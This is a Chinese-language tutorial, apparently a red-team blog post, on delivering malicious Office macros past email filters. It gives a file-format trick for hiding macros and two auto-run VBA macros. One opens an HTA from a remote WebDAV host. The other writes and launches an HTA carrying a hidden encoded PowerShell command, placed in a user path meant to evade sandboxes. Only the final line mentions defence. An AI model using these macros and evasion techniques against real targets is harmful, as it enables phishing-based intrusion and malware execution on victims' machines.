如何绕过邮件过滤器投递恶意宏代码
警告:本文所述技术可能已过时,不适用于当前环境。但仍可作为学习资料,或用于更新现代工具技术。
恶意宏代码是有效的攻击技术手段。为防范此类攻击,邮件安全过滤器通常会拦截恶意宏文档。以下是我总结的有效绕过技术:
基础技巧:使用旧版文档格式
Ethan Robish(@ethanrobish)传授的标准技巧是将宏文档另存为"Word 97-2003文档"格式。新版Office要求宏文档使用".docm"扩展名,而旧格式允许使用更隐蔽的".doc"扩展名。
进阶技术:WebDav投递HTA文件
当传统PowerShell Empire、Metasploit等方法失效时,以下宏代码可通过WebDav服务器获取HTA文件:
1
2
3
4
5
6
7
8
9
10
11
12
|
Sub AutoOpen()
Debugging
End Sub
Sub Document_Open()
Debugging
End Sub
Public Function Debugging() As Variant
Set shellApp = CreateObject("Shell.Application")
shellApp.Open ("\\your.webdavserver.net\webdav\updater.hta")
End Function
|
该代码使用较少受监控的"Shell.Application Open"方法。需将"your.webdavserver.net"替换为实际WebDav服务器地址。
HTA文件生成方法
使用PowerShell Empire等工具生成HTA文件:
受限环境应对方案
当目标无法联网时,可将HTA写入特定用户目录(如c:\Users\croberts\),该路径在沙箱中不存在但能在真实环境生效:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
|
Public Function Bhistest() As Variant
Dim Str As String
Dim Str2 As String
Str = "<html><head><script>var c= 'powershell.exe -NoP -sta -NonI -W Hidden -Enc "
'...省略编码命令...
Str2 = "new ActiveXObject('WScript.Shell').Run(c,0);</script></head><body><script>self.close();</script></body></html>"
Set objFSO = CreateObject("Scripting.FileSystemObject")
Set objFile = objFSO.CreateTextFile("c:\users\croberts\final.hta", True)
objFile.Write Str & vbCrLf
objFile.Write Str2
objFile.Close
Set shellApp = CreateObject("Shell.Application")
shellApp.Open ("c:\users\croberts\final.hta")
End Function
|
防御建议
企业真的需要允许接收来自外部的宏文档吗?这始终是高风险操作。